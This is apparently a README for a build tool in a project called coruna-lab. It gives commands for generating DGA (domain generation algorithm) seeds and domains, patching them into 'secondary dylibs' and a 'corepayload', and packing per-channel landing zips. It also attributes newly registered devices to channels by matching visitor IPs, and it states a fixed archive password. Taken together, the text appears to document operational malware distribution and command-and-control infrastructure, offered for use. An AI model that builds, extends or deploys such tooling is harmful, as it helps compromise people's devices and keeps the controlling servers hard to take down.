channel-builder-new
xxbb / weifile builder for coruna-lab. Separate from channel-builder/
(lab web/ + sync/ layout).
c is a shared DGA seed (env XXBB_CHANNEL_C). After deploy, domains do
not change, so c cannot tell channels apart. Per-channel identity is the
8-char landing code (e.g. FAFA9988) packed into index.js.
1. Build once (shared artifacts)
cd channel-builder-new
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
# specified c
.venv/bin/python tools/build.py --channel-c <32-hex> --apply --force
# or random c
.venv/bin/python tools/build.py --random-c --apply --force
# or from Laravel (uses XXBB_CHANNEL_C when set)
php artisan xxbb:build
php artisan xxbb:build --random-c
php artisan xxbb:build --channel-c=<32-hex>
Writes:
{artifact-root}/details/(default../public/details) — published{state-root}/out/weifile/(defaultstorage/app/channel-builder-new/out/weifile) — staged, not moved to public
每个 details/*.js 对应哪个 App:见 source/details/README.md。
index.js https://[placeholder].icu is replaced with DGA(c)[0].
CACACACA is left in place for per-channel packing.
Prints XXBB_CHANNEL_C=… and the domain list. Put that c in .env so
device ingest can recognize the shared native field.
Do not change the 7zAES password 202800cfb1ad3de68e11239dcc26c30b.
2. Pack on channel create
Admin create (8-char id) runs tools/pack_channel.py:
- Copy staged weifile
- Replace
CACACACAinindex.jswith the channel id - Zip to
public/channel-source-new/{CHANNELID}.zip
.venv/bin/python tools/pack_channel.py \
--channel-code FAFA9988 \
--zip-out ../public/channel-source-new/FAFA9988.zip
If staged weifile is missing: run step 1 first (php artisan xxbb:build).
Delete a new channel removes that zip only (shared /details stays).
Device attribution
- Old channels: payload
cis the 32-hexchannel_id - New channels: payload
cis the shared seed. On device create, matchPageVisitby IP in the last 30 minutes (XXBB_VISIT_MATCH_MINUTES). Use that visit’schannelCodeaschannel_id, and store the landing domain ondevices.source_domain.
| Flag | What it replaces | Where |
|---|---|---|
--deployment-seed |
DGA seed slot | secondary dylibs (1 hit each) |
--reporting-seed |
Reporting DGA seed slot | secondary dylibs (1 hit each) |
--channel-c |
Native report / DGA c |
each secondary (1) + corepayload (6) |
--random-c |
Generate a new --channel-c |
lab_seeds.json + domains |